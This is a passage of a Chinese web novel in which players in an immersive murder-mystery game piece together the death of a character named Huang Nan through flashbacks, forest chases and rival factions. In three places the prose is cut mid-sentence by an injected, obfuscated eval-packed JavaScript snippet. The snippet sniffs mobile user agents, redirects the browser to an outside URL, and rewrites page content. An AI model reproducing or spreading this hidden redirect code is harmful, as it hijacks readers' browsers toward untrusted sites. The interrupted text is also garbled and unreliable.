最后垂着头得出结论:“当时的张小妹可能真的准备一了百了,悄悄放了毒蘑菇,谁知道被黄南抢走了。” 她不知道真正的张小妹究竟是什么时候放下的毒蘑菇,可能是拿到粥的刹那,也可能是坐在树下沉思的时候。 “但是他没有被毒死。”戴荆月补充,“在那之后,他还来了我的酒铺,因为你当时没有闻到他身上的酒味。” 张小妹迟钝地点点头。 “因此现在综合来看,黄南至少经历了被不明物体撞击、吞咽毒蘑菇、被我揍了一顿等三重伤害。” “但即便到了这时,他肯定还没有死。” 奥若拉轻嗤:“这都死不了,难不成他是铁人?” “说对了。”戴荆月没忍住弯了弯眼睛,“他就是铁人。” 说着,她扬起那本小册子,快速翻到写着“金刚不坏之身”的那页。 泛黄的纸页上,字迹清晰工整: 聚天地之精,修不坏之道,炼至功法大成,体如金刚铸,骨似寒□□,万法难侵,百劫不灭,行走江湖,无畏无惧,是谓金刚不坏之身。 戴荆月声音里带着笑:“别忘了,他可是修了《至阳功》的人。他不会因此就死,直到三三破了他的功,才会反噬死亡。” 《至阳功》的纸页在风里上下飞扬。 奥若拉没再反驳,三三面露惊异,书生则托起那方砚台,五指收拢攥紧:“黄南额头上的伤,是我砸的。如果你们都没有说谎,那么黄南第一个去的地方,是我的住所。” 狭小的空间里,书生对面的黄南咧着嘴角,满脸小人得志的模样:“不错嘛,倒真有几把刷子。” 书生下颌绷紧,声音发沉:“我已经帮你考试了,你还想怎么样?” 黄南哥俩好似的拍了拍他的肩膀:“我不想怎么样,只是哥最近手头紧,这个替考费恐怕是给不出了……” 砰! 没等他说完,一物重重砸上黄南额头,又闷声落地,发出钝响。 方才还在得意洋洋说话的黄南此刻龇牙咧嘴捂着自己鲜血淋漓的额头,被血糊住的眼睛不可置信地瞪着书生: “你打我?你怎么敢打我?” 兔子急了也咬人,一向老实本分的书生红着眼睛,声音从牙缝里一字一句挤出来:“你毁了我的前程不够……还想怎样?” “若不是你,我怎会被诬告禁考?若不是你,我何至于沦落到做这种下三滥的勾当?现在你跟我说没钱,你当我是什么贱种不成?!” 书生一步步走到黄南面前,颤巍巍地跪下,拾起地上的砚台,发抖的手擦去上面的血迹。 “黄南,你毁了我……那我就和你同归于尽!” 他声音越来越高,握着砚台的左手也随之扬起。就在即将砸下的瞬间,黄南猛地扑上来抱住他的胳膊,厉声大吼:“你疯了!不想活了吗!” 书生冷笑:“呵,我早就不想活了,活得像阴沟里的老鼠倒还不如死了!正好,拉你一起陪葬。” 他想死,黄南可不想,更不想无端背上人命,只好死命箍着他的胳膊,竭力安抚书生的情绪:“哥和你开玩笑的……不就是钱嘛,等我给你凑!” 屋里的油灯扑闪,黄南不知何时离开,徒留下书生无措跪在地上,呆滞捏着手中的砚台。 18. 密林旧事(10) 安神山,密林里。 近处叶片战栗,远处残影飞掠。素来幽秘安静的树林像是被浇下一锅滚烫辣油,陷入独属于林野的原始喧哗。鸟啼鹰唳、猫鸣犬吠,各种声音交织,热闹非凡。 只见葱郁树丛间,乌鸦振翅低飞,角雕盘旋掠影,花猫灵敏窜逃,猎犬奋蹄狂奔,四兽之间,还穿插着一个卖力奔跑的人影。 而他们的身后,猛虎出山、狮子暴走、棕熊怒号,无数头眼冒绿光的猛兽紧追不舍,追逐着前方来之不易的食物。 前方逃得浑身肌肉酸痛的五位玩家忙里偷闲,崩溃出声。 “喵喵喵喵喵!” (翻译:到底还要跑多久!) “汪汪汪,汪汪汪汪!” (翻译:不知道,看它们什么时候放过我们!) “咕呜——咕呜——” (翻译:接着飞吧,总比有的人两脚跑要好。) “……你们说的话我能听见。” “喵喵?” (翻译:所以你是什么属性?) 兽化后还不如没兽化的书生权当没听见,揣着砚台、纸册大步向前跑。 乌鸦瞄了一眼拌嘴的几人,决定继续闷头飞,不参与这场纷争。 半小时前。 书生简略跳过亲身经历的部分,直接转述了他所目睹的“真正历史”。算上他,幸存的五位玩家中有三人开口,仅剩下两人缄默。 戴荆月扭头看向奥若拉和三三,声音没有一丝波澜:“如果你们还是不想说的话,我也不会强求,这之后就各自推进吧。” 奥若拉微一拧眉,正欲开口,三三抢先一步:“我没有回到那天。” 其余人的目光齐刷刷落到她身上。 三三迟疑片刻,继续道:“昨天晚上,我真的只是普通睡了一觉,连梦都没做,更别说穿越。” 回答慢半拍的奥若拉直接跟票:“我也是呢。” “有两种可能。”半晌,戴荆月垂眸思毕,“第一种,你们的穿越回溯需要触发某种条件,比如拿到某样物证,就像《至阳功》。” “第二种就更简单了,顺序上还没轮到你们。” 从书生住处、到救济点,再到酒铺,这三点几乎可以说是一气呵成,大概率是黄南去的前三个地方。至于密林、王阿婆上山,包括脱队住持的寺庙,则是黄南死亡链条的后半程。 昨夜只是三天内第一个晚上,留给他们的还有今夜、明夜,待到第四天的早上才是提交最终答案的时候。 “会不会我们其实真的和黄南没关系,所以没有穿越呢。”奥若拉拨开额前金发,露出饱满光洁的额头,冲着戴荆月眨眨眼。 戴荆月面无表情回怼:“这话你说出来自己信吗?” 奥若拉努了努嘴:“人家只是调节一下气氛啦。” “话说回来。”理清逻辑的戴荆月现在心情大好,慢条斯理打量一圈绿茵茵的周围,“我们在这里这么久,怎么还没有发生什么异象……” “吼——” 话音还未落,一身虎啸粗暴截断了她的话,紧接着是一阵沉重的脚步声,掺杂着各类猛兽的嚎叫。 张小妹的耳尖抖了抖,平静无波开口:“后面来了很多动物,数量难以辨别,看起来把我们当成食物了。” 三三意味深长地看了戴荆月一眼:“异象来了。” 戴荆月:“……” 要不自己还是别说话了。 “别愣着了,跑!”书生一把捞起石头上的物证,当即迈开两条长腿。 剩下四人没急着动,而是纷纷原地变身,采用更适合逃跑的形态。 游戏推进到这里,该暴露都暴露得差不多,玩家们也没什么互相隐瞒属性的必要了,于是—— 两位空中飞鸟乘风而上,两位陆地健将四足猛奔,轻轻松松超过了最早动身的书生,顺带用动物语问候了一番对方。 唯一保持人类形态的书生没吭声,只是一味向前跑。事实上,这已经不是他第一次在游戏里经历大逃亡。 这种情况下,但凡游戏没有限制玩家,大多数人都会选择兽化。除了属性不对口的玩家。对于这部分人而言,只能依靠纯粹的身体素质。 汗水从他的额上轻轻滚落,顺着清晰的下颌滑至喉结,再一路向下,无声漫过锁骨洇湿衣领。两颊因运动而沁着红,墨蓝色眼睛蒙上一层淡淡的水雾。 飞在空中时,戴荆月才发现书生的头发微长,在后脑勺轻轻束起一个淡棕色的小尾巴,随着步伐左右晃荡。 她不着痕迹收回视线,目光又依次扫过飞在斜前方的角雕,以及地上的狸花猫、德牧犬。谁知,这一看就看出了问题。 林子里的地面杂草丛生,并没有一条标准的路面,全靠人们踩上这些叫不出名字的植物。这其中,有一些带刺的低矮灌木丛,德牧犬张小妹意欲从上空跃过,却意外卡在了丛中,正在卖力挣扎。 剩下三人都在前头,现在唯一有机会去救她的只剩下戴荆月。 野兽的气息逐渐逼近,前面的同伴已经越来越远,属于张小妹的线索似乎也已经了解得差不多…… 戴荆月思绪翩跹,盯着那团卡在绿油油色团里的棕色色块犹疑许久,还是轻阖上了眼,猛然扑动两下翅膀向前飞。 几秒后。 乌鸦化作人形准确降落在草丛边,手掌硬生生抓住生满倒刺的树枝向外拔,同时另一只手的小臂捞出卡在里的嗷嗷叫唤的德牧,用力往前一抛—— 德牧稳当落地,乌鸦顺势起飞,向前猛扑狩猎的老虎扑了个空,咬了满嘴草。 不知跑了多久,身后似乎逐渐消了声,听觉敏锐的德牧颤了颤耳朵: “汪汪!” (翻译:那些猛兽走了!) 角雕和乌鸦各自盘旋巡视,反复认证后终于安下心,一个个累得摊在树底下。 身后传来沙沙声。 戴荆月侧头,遇上走到自己身边的张小妹。后者抿着唇,见戴荆月看过来后轻声道:“谢谢你。” 她摆了摆划伤的手:“没事,本来就说了,谁都不能死。” 张小妹面色通红地点点头。就在早上时,她还担心自己被连累。可现在,反倒是她借了别人的力。 见女生在那儿内耗,戴荆月没再开口,躺在树底下想自己的事。 如果不出意外的话,今天晚上他们也会被传送回牢房,这一次穿越回去的应该轮到三三和奥若拉。那第三晚呢,最后剩下的这一夜,等待他们的又是什么。 既来之则安之。戴荆月决定不为未来的事情忧虑。调整好呼吸后,她扶着树皮站起来,指尖却蹭上什么粗糙的东西。 定睛望去,是一道刻痕。 她呼吸微滞。 不久前,为了验证自己没有走错,三三就是指着这样一道刻痕,言辞凿凿: “这个是我当时刻的。” 发现异样的不只有她。 坐在石头边的奥若拉和书生望着那块熟悉的石头,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679123|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约而同道:“我们回到了原地。” 【叮咚!恭喜触发游戏支线!】 【支线任务:天黑前走出这片密林,你们将会得到想要的线索】 突如其来的游戏提示音让众人身子一震。三三愕然:“怎么又触发游戏支线了?哪来这么多支线?” 书生主动解释:“一场游戏的支线数量不是固定的,支线越多,该场游戏难度越高,通关后玩家的平均评级和完成度也会越高。所以很多时候,想刷分的玩家反而会想要更多支线。” 奥若拉若有所思,好奇看向他:“听起来,你参加过很多游戏?” 书生轻笑一声:“还可以,不算少。” 有了明确的方向,五人开始探索离开的路。为避免走到重复的路上,三三随身带着一块尖利石头边走边刻。玩家们踩着枯枝败叶兜兜转转,一抬头,熟悉的刻印再次印入眼帘。 “不行,这已经是第三次走到重复的路上了!”三三有些焦躁,语气不免急切。 走在最前端的奥若拉耸肩:“那你说说该怎么办,往哪边走是对的?” 戴荆月刚从空中降落,无奈摇头:“没法从上边辨别方向,不管我怎么飞,都是密不透风的森林。” 在另一个方向试探的张小妹也声音沮丧:“我想沿着山脚王阿婆草屋的方向出去,但那儿是断崖,我根本下不去。” 西下的夕阳漏落昏黄的光辉,天色逐渐昏沉,戴荆月擦了擦鬓角的汗:“快天黑了,我们必须加快速度,否则得不到今晚的线索。” “一个方向不行,就再换一个。” 这时,书生俯下身,用手指轻触石头上那片湿润厚实的苔藓,推测道:“苔藓喜阴湿,这一面估计是北侧。” 戴荆月没吭声,目光却掠过岩石,落在一条从石缝中顽强探出、虬龙般的树根上。树根一路绵延,背石而去。 “现在是夏季,日落西北,我们下午来时太阳在右前方……”书生接着开口,眼神却落在戴荆月的身上。 后者稍一思忖,果断指向另一个方向,“试试这边,这条路刚好没走过。” 听完全程的奥若拉捧场地鼓了鼓掌:“哇塞亲爱的,你的蓝星通识概论学得真好!” 戴荆月不置可否。 说实话,这些石头和树根其实看不出特别明显的南北差异,课堂上讲的那些道理也未必能够直接推到现实。 但她还是准备试试,没成想刚好和书生撞了思路。原以为这个男生只是空有皮囊,现在看来倒是有几分真才实学。 没耽误太多时间,五人快马加鞭往推测的方向走。 脱离教育多年的三三早就把这些知识点忘了个干净,张小妹高中的通识课全是水过去的,更是没细听,俩人顺从地跟上了大部队。 走着走着,脚下的路渐渐开阔,隐约能够看见前边的光亮。 戴荆月轻吐一口气:“我们快点走。”随即便领先一步跨回了大道。 其次是张小妹、书生和三三。 落在队伍最后的奥若拉正准备走出来,却被几根不知从何而来的藤蔓缠住了手脚,硬生生挂到了树上。 她只来得及发出一声短促的惊呼,下半张脸便被一根藤蔓牢牢束缚,再也发不出任何声音。 突如其来的变故惹的众人大惊,可还未等几人动作,暗夜突临,熟悉的漩涡裹挟着幸存的四名玩家回到地牢。 眨眼间,安神山上空无一人,而粗壮的藤蔓拖着奥若拉,静悄悄堕入一片黑暗。 19. 密林旧事(11) 牢房内,仅存的四人望着那一小撮香火和半截柴,陷入了沉思。熟悉的转场、熟悉的困意,而身边的人又少了一个。 没有什么轰轰烈烈的刀光剑影、血肉纷飞,一切都还没有来得及抵抗,便迎来了死亡的终章。 戴荆月表情发怔,呆望着那半截柴火,手指不自觉地蜷缩,脑海里全是奥若拉被拖走前最后的眼神。碧蓝色的眼睛里漾着的不再是轻俏玩味,她从中看见了恐惧。 唯一能够安慰自己的,便是游戏里的死亡不是真正的死亡。但是同样痛苦,同样会对精神力造成损伤。 无暇过多因奥若拉的离开而波动情绪,汹涌的困意翻江倒海般闯入她的身体,即将昏睡过去的瞬间,她恍惚间意识到一个问题,为什么香火和干柴会被一齐传送回来? …… 一夜无梦,却还是睡得不安生。 早上醒来时,戴荆月整个嗓子像□□火燎烧一般,就连吞口水都火辣辣发疼。游戏里的流速和现实不同,玩家们在游戏里几天几夜也不过是现实半天,如果不是剧情要求的话,通常不会感受到饥渴。 但长时间说话,又没有摄入水源,她难免口干。只不过在听完三三严肃的讲述后,戴荆月顿时头不疼眼不花,还能再推个三天进度。 如她所料,昨天晚上穿越回实地的是三三。这场死亡案最重要的一环,也终于得到了回扣。 两日前,傍晚。 三三佩刀坐在树杈上,深深望着山脚的那间茅屋以及屋外那个模糊的人影。这是她所能做到的离家最近的距离,不能再近了,否则只会让她忍不住想回去,回到她熟悉的家里去。 看了不知多久,三三眨了眨湿润的眼,利落蹦到地上准备无声离开,不曾想听见了身后的动静。 刀比人快,待她看清来人前,砍刀已经架到了男人的脖颈上。 此时的黄南浑身酒味,讲话晕晕乎乎,外翻的伤口更是肿得可怖。男人被刀一逼,吓得登时想立正,大腿却软绵绵的,不自觉瘫软在地上。 三三怔怔俯视着跪在面前的人,握着刀的手忍不住发抖。而黄南在看清面前的人后,反而不怕了:“哟,咱俩还挺有缘?” “你还好意思讲?”三三的声音发抖,一字一句从牙缝里挤出来,“你知道我有多想杀你吗?我做梦都想杀死你。” 黄南咧嘴笑了:“那还真让你失望了,我没死,你也杀不死我。你要不要试试?” 话音落下,三三手操大刀,直直劈向黄南,对方躲也不躲,硬生生挨下这一击,竟完好站立,只是留下一道血痕。 看着女人茫然的表情,黄南忍不住哈哈大笑起来:“我都说了,我是杀不死的。” 杀不死?三三不信,世界上怎么会有杀不死的人呢? 可是这把刀跟了她这么久,她最是清楚它的利与快,可明明是冲着要了对方的命砍去,却只不痛不痒留下皮外伤。模样虽狰狞,但不至死。不信邪的她又挥了几次,招招入肉,黄南却安然无恙。 最引以为傲的刀百般受挫,三三恍惚间有些失神,支撑着她的动力也倏然泄了气。 继续上,还是放弃? 犹豫片刻,她还是高举起大刀,再次向黄南冲去。偏偏这时候,小腹猛一收缩,一股温热的暖流不受控制涌出来,瞬间浸透了衣裤。 黄南显然也注意到了女人的异样,目光在血迹上流连,脸上露出明显的嫌恶神情,轻蔑开口:“啧,居然还来了脏东西,少碰我。” 脏东西……言语里毫不掩饰的羞辱感与优越感灼烧着三三的神经,而在她的大脑深处,有一根掌控理智的弦崩断了。 不要再犹豫了。 不要再任由他羞辱自己。 不要……她不要! 霎时间,所有的犹豫、疑惑、畏惧都被凛冽的刀花震退消散,三三握紧手中的刀,不顾腹部的酸胀,再一次向前方冲锋而去! 就算不能杀死黄南,也不能坐以待毙!她明明已经走出来了! 刀光如一道空中诡谲的银环蛇,毒辣至极地直刺向黄南微张的嘴巴,锋利的刀刃向着舌面用力一压,再朝前一捣。这一式快准狠,没有半分犹豫。 黄南瞳孔骤缩,想躲已经来不及,“噗”地一声,刀刃刺破嘴唇,淌下淋漓鲜血,顺着嘴角滴滴答答。 嘴被割得并不拢,有一团柔软的肉从口腔里掉了出来,是他的舌头。 三三如地狱来的修罗恶鬼,声音冰冷:“不会说话就不要说了。” 再也说不出话的黄南“嗬嗬嗬”地发出声音,三三却头也不回地离开。既然无法杀死对方,那么斩下一点人体碎片,何尝不可呢? 三三走了,黄南却痛得浑身冷汗,躺在地上无法动弹。就在刚刚,他突然感知到,一直以来庇护着自己不受侵袭的功法——破了。 而提在三三手上的刀,不知何时染上几滴自她裤脚流出的鲜血。 …… 再往后的事情三三也无从知晓。但是在昨夜,她已然完完全全与那个真正的“三三”共情,感知对方的痛苦与纠结,接纳对方的怒火与爆发。 其余三人听完,久久未能回神。即便只是听第三者的讲述,几人也能感受到女人的痛苦与挣扎。 戴荆月思索一阵道:“三三和黄南以前就有矛盾吗?” 女人摊手摇头:“我猜到了,但我并不知道矛盾究竟是什么,她没说。” “没事。”戴荆月的手随意搭在膝盖上,“我们的任务只是找到害了黄南的凶手。” 至于其他内容……她微闭上眼,缓缓吐出一口气。 一旁张小妹点点头,咬着唇道:“不管怎样,都是黄南罪有应得。” 几人讨论的间隙,牢房的门被推开,来者又是一名陌生的捕快。 不同于威严的捕头和冷漠的男捕快,今天的捕快嘴角噙着一抹笑,看起来格外友善:“醒了?今天你们有头绪谁是凶手了吗?” 玩家们望着笑吟吟的捕快,没人出声。而戴荆月只是看了新来的捕快一眼就挪开视线,状似无意地在屋内逡巡。 不知怎的,她总觉得现在这个捕快的气质……有点像奥若拉。这么一想,当时那个故作冷漠的男捕快,似乎也和寸头男主持有几分相像。 她的大脑飞快运转着,不放过冒出来的一丝一毫的疑虑—— 有没有一种可能,住持和奥若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684340|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉其实没有真的死,而是换了一个身份,继续在游戏里活动呢?如果这样的话,那他们的任务,还是找到凶手吗。 思及此,戴荆月抬起头,定定看向门边的捕快,开门见山:“你想说什么,也和之前一样让我们找出凶手吗?” 捕快微一挑眉:“你们打算交出凶手了?” 戴荆月不落下风:“明明你们是捕快,为什么却要我们自己交出凶手,难不成你们没有能力调查出来?” 闻言,捕快轻快道:“这不是给你们一个机会吗?交出来,就放了你们。” 与此同时,耳边再次响起支线触发的提示音,同样是晨间审判庭。 “呵。”听罢,戴荆月了然地笑出声,目光锐利,“是给我们机会,还是给你们机会?” 捕快一愣,眼中猝然闪过一丝惊愕。 “如果我说,我要拒绝交出凶手,会有什么下场?” 三三惊异看向戴荆月:“你要拒绝?这不是我们……” 最后的“支线任务”四个字没说出口,张小妹扯着她的胳膊,及时制止住她的声音。 谁知下一刻,提示音再度响起: 【请问玩家是否确认拒绝本场支线任务?】 在众人惊异的注视下,戴荆月清晰出声:“我确认。” 声音落定刹那,伴随着玩家们一起回到牢房内的香火和干柴凭空消失,门口的捕快也随之不见身影。 三三等人还没来得及出声,就听见游戏冰冷宣布: 【玩家大力出奇迹、玩家曙光女神游戏失败!】 戴荆月听了提示音也有些愣,她下意识偏头看向游戏经验丰富的书生: “游戏里其余玩家失败会有失败提示音?” 书生垂眸托腮,思考一阵后抬眼:“一般只有分阵营的对抗游戏会有宣布,我没想到这场也是。” 三三还有些没反应过来:“什么意思?为什么可以拒绝支线,而且他们现在居然才游戏失败?!” 早已将前因后果串联好的张小妹轻声:“刚刚的捕快就是之前的王阿婆,昨天的捕快应该也是那个住持。他们没有完全失败,只是脱离主体另成了一个阵营,这个阵营很可能与我们是对立的。” 戴荆月颔首,补充道: “当时不让我们选住持的原因大概也是因为他已经脱离队伍,而他们的任务很可能是掩藏身份劝我们开启支线,选出那个根本不存在的唯一凶手。” “而这个被指认的玩家最后也会因为首当其冲效果成为他们阵营的一员。”书生顺着戴荆月的话往后道。 “游戏进行到现在,已经彻底暴露了。” 说到这,她的嘴角没忍住轻轻勾起,“它处心积虑构造这个奇怪的晨间审判庭,又扯出两个阵营。无非就是想暗示我们,凶手不是他们,或者不只他们。接下来我们要做的,就是去验证。” “只不过,还有一个奇怪的点……”戴荆月想着想着又捏起了手指,“为什么刚好是这两个人?” 顺着她的话,大家一齐思考,牢房内不知不觉陷入安静。片刻后,戴荆月猛一抬头,和对面的书生对上视线: “是人设!” 20. 密林旧事(12) 游戏的另一侧。 失败的提示音冷冰冰落下后,被弹出游戏的奥若拉和寸头男陷入一片伸手不见五指的漆黑空间,面前则凭空出现两个文字选项。 【玩家是否选择退出游戏?】 【是,回到游戏大厅】 【否,进入观赏视角】 在《圣光回响》服务器里,玩家游戏结束后都会回到游戏大厅。但如果中途有玩家失败,而游戏内仍有其余玩家正在推进游戏,那么服务器就会弹出观赏视角的选项。 这时候,已经失败的玩家可以选择留下,实时观赏其余玩家的表现。 许多玩家在游戏失败后往往愤而退出,观赏兴趣寥寥。但也有部分玩家出于选择观察“同伴”等原因,乐意继续看看这场游戏的走向。 毫不犹豫选择【是】的寸头男属于前者,选择【否】的奥若拉则是后者。 在她选择【否】后,面前再度弹出了四个选项: 【请选择你的观赏视角:】 【披荆戴月】 【路】 【三生万物】 【小张很嚣张】 奥若拉面无表情盯着这些ID,脑子里是一张一张清晰的与之对应的面孔,真是完全没有任何辨认难度呢。 以及,自己的曙光女神到底和王阿婆这三个字有什么关系? 一边暗自吐槽游戏,一边体面点上了【披荆戴月】的选项。随即,她的身体被“咻”地一下吸进了游戏空间,以“幽灵”的形态牢牢锁定在了以戴荆月为圆点、半径为一米的圆内。 猝不及防和戴荆月脸贴脸的奥若拉:……要不要象征性打个招呼? 游戏进行时中的玩家感受不到观赏者的存在,观赏者也无法干预到玩家的举止。后者就像投射到平面上的投影,只能乖乖附着在选择的玩家身边当一个透明人。 正在赶路的戴荆月果然没有觉察到异样,她一抬头,看见的是前方空荡荡的路面。 觉察到她脚步微滞的张小妹看向她:“怎么了?” “没事。”戴荆月摇摇头,将不知道第多少次轻飘飘滑到眼前的刘海拨到耳后,“刚刚总觉得有东西盯着我,可能是错觉。” 依仗着对方不知道自己存在的奥若拉毫不脸红地接茬:“其实我真的在盯着你哦。” 一路上,四人还是在讨论关于人设的猜想。如果说,游戏是在没有“首当其冲”效果的前提下随机抽取幸运玩家送走,那这未免也太随机。 更有可能的情况是,玩家的某个行为触发了这个效果。于是他们顺理成章想到了人设——贯穿了游戏始终,却始终没有什么存在感的游戏设定。 戴荆月全程记着“爽朗”的要求,没有收到任何警告,另外三人也将各自的人设贯穿始终。因此玩家们有充足理由怀疑,问题出在人设上。 光明正大偷听几人讨论的奥若拉撇了撇嘴:“还挺聪明。” 昨夜被藤蔓无端缠住时,她甚至还没开始挣扎,便被粗糙磨人的粗藤禁锢得动弹不得。于是她眼睁睁看着面前的四人被漩涡带走,而自己被一点一点拖往绝望的深处。 出人意料的是,迎接她的并非死亡,而是新的开端。 【叮咚!检测到玩家违背人设的次数达到两次,触发“一步之遥”,主线任务自动变更】 奥若拉纳闷:“一步之遥是什么?” 游戏回得干脆利落: 【指玩家距离失败只有一步之遥!】 奥若拉:…… 没无语太久,她迎来了自己的新任务和新人设:扮演一个捕快,引(哄)导(骗)玩家开启晨间审判庭支线。 如果玩家成功开启支线,且最终没有通关主线,那么她就能获得胜利。但如果玩家发现异样,拒绝开启支线,等待她的只剩下失败。 在遇到率先下线的寸头男前辈指点后,奥若拉信心满满上阵,紧接着喜提下线,成为过去式。但她始终坚信,这一定是属于她的人设太困难的原因。 最后一个完整的白天,玩家们选择再次前往王阿婆的住处。奥若拉离开后,众人无从得到属于王阿婆的那份记忆,可偏偏王阿婆是黄南死亡的最终见证者。 茅草屋下,四名玩家如临大敌地盯着柴火垛。一分钟后,无事发生。大家默默走进了这间逼仄的屋子。 屋内仍旧凌乱不堪,戴荆月拾掇起那些儿童玩具,在三三面前比划:“这是不是你小时候玩的?” 早已丝滑接受此设定的三三煞有介事:“我觉得很有可能。” “你想王阿婆,王阿婆念自己的女儿,导致你们分开的原因会是什么?”戴荆月蹙起眉,不自觉转起手上的拨浪鼓来。 拨浪鼓仿佛天然拥有一种魔力,只要握着那根小棍,人的拇指和食指便下意识捻动,红绳纷飞,小珠击打鼓面,发出轻快的叮咚声。 玩拨浪鼓的人完全没意识到问题所在,张小妹躲在一旁偷笑,三三琢磨着自己要不也拿一个玩,书生则安静地看向女生,目光定格在对方的侧脸上。 终于回过神来的戴荆月默默放下了手中的拨浪鼓,欲盖弥彰地轻咳几声,随即继续在屋内游走寻找线索。 拨浪鼓对于这个时代而言,无疑已经属于历史遗产。但是一个时代有一个时代的玩乐,属于儿童的玩具向来是层出不穷。 比如在她的童年就流行一种电子球的新鲜玩意。戴荆月没玩过,但身边的同学都有,他们会带着去上学,课间便聚在一起玩闹。 儿童其实不懂动物属性之卑劣,他们只奉玩具为圭臬,随之形成自己牢不可破的小团体,而她向来是被排挤在外的一员。 “我觉得说不定是青春期和更年期撞上,导致家庭矛盾大爆发。”三三小声嘀咕。 张小妹深思:“也可能有什么难言之隐,比如逃难。” “什么逃难!她那姑娘明明是被人给骗了!” “谁骗的?怎么骗的?”三三惊异。 “哎,那姑娘也是太单纯心急了,后来怎么样了也不知道。” 三三若有所思,随即猛一抬头,瞪着不知从何处冒出来的阿婆,惊愕睁大眼: “你是谁?!从哪来的?” 阿婆银发苍苍,浑浊的眼里闪着光:“我站在这儿已经很久了。” 一旁的戴荆月就没从这个阿婆身上挪开过视线,黑眸里全是忌惮与警惕。 她分明一直眼观六路耳听八方,却完全没有注意到阿婆的行踪。仿佛两眼只是一闭一睁,屋内便多出一个人。 而附着在她身侧奥若拉出于上帝视角的优势,完完整整看见了阿婆出现的轨迹。 只见阿婆刚在门边探了个脑袋,整个人就以迅雷不及掩耳之势闪现进屋内,动作快得她都险些没能捕捉到,遑论戴荆月。 “想当年啊,这丫头可是我看着长大的。谁想得到,她家里突然遭了变故,这傻孩子被人骗走,就再也没回来过喽。唉,那姑娘特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701459|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孝顺,每次见到我,都会脆生生喊一声婆婆好,啧啧啧……” 阿婆说着说着,突然抬眼悄悄瞄了一眼三三,踮着脚凑近对方的脸。 三三:? “诶,你这孩子和当年那个小姑娘长得真是好像的嘞!我刚刚差点以为你就是她!” 闻言,三三心虚地吞了口唾沫:“哈哈是嘛,那还真是挺巧的。” 阿婆没起疑心,正要接着追忆往昔,戴荆月适时插了句道: “婆婆,她当初是怎么被骗的?” 被人打断的阿婆也不恼,只是皱着脸努力回想:“让我想想啊,那是几年前的事情了。” “当时她们娘儿俩还一起住在这儿,没多富,倒也能吃饱穿暖。但是后来老王突然生了场病,家里没钱治,只能靠摘草药吊着,那小姑娘急得不行。” “结果有一天,她突然回来说自己找到挣钱的法子,然后就跟着人走了。之后我们才知道,她是被人骗了,给卖到窑子里去。” “后来都是我一直在照顾老王,老王也争气,居然一点点好起来了。等她能下地走路时,我俩就感觉去窑子里找,结果根本没找着她。自此老王就一个人住着,每天都很想她的闺女……” 阿婆絮絮叨叨说了一长串,听罢,书生最先出声:“您还记得是谁把她带走的吗?” 她紧锁脸上的皱纹,像是在艰难回忆:“啧,好像是个男的,个子不高,姓……姓黄!” “又是他!”三三咬着牙,内心燃烧着熊熊大火。她顿时明白了当时的三三看见黄南为什么会那么恨,一个人彻底毁了自己的人生,怎么能不恨! 张小妹同样满脸愤懑,戴荆月对这个答案并未产生太大情绪波动,她更好奇的是当时的三三究竟如何逃离那里,成为一名侠客的。 送完线索,阿婆在大家齐整的注目礼下悠哉悠哉晃荡出去。书生眼睛微弯:“看来咱们没白来。” 张小妹点点头:“三三和黄南的矛盾串起来了,但我们还是不知道王阿婆当时究竟干了什么。” 旁边的三三活动着手腕,手指骨接连发出“咔擦”声:“要是让我见到黄南,我一定要揍他一顿!” 戴荆月的关注点则在王阿婆二人的母女关系上,两眼放空,似乎陷入了某种回忆。 “既然这里暂时没发现别的,那我们去刚刚阿婆说的窑子那里看看?” 早在阿婆提到窑子时,三三就问了具体的方位。对于这个突然出现的新地图,大家一拍即合,都想先去一探究竟。 四人加一魂从茅草屋内缓缓走出,沿着小道一路往南。几分钟后,玩家们停在了一个灰扑扑的洞口前。这里之前是瓷窑,后来废弃了,只剩下残砖败瓦。 戴荆月皱着眉走进去,当即便有一个男人贴上前搂住她的脖颈,脂粉蹭到她的衣服,捏着嗓音道:“姐姐来玩嘛~” 她的身子倏地僵住,一时间怔在原地,忘记推开男人。其余几人也被这热情的阵势吓了一跳,进退两难。 其中最快反应过来的竟然是书生。他将男人拖开,声音里蓄着威胁:“离我们远点。” 男人耸了耸肩,吐出粉舌:“无趣,装什么正经。” 不过在书生的言语恐吓下,周围确实没什么人再围上来,大多围在一旁暗自打量进来的这四个人。 而直到戴荆月几人越走越深,却发觉一个问题:围在里边揽客的基本全都是男人,黄南怎么会把人骗到这么一个地方? 21. 密林旧事(13) 随手抓来一个在角落里凹造型补粉的男人,戴荆月揪着他的衣领,扯得男人薄纱下白皙的肌肤若隐若现: “你们这儿都是男人?” 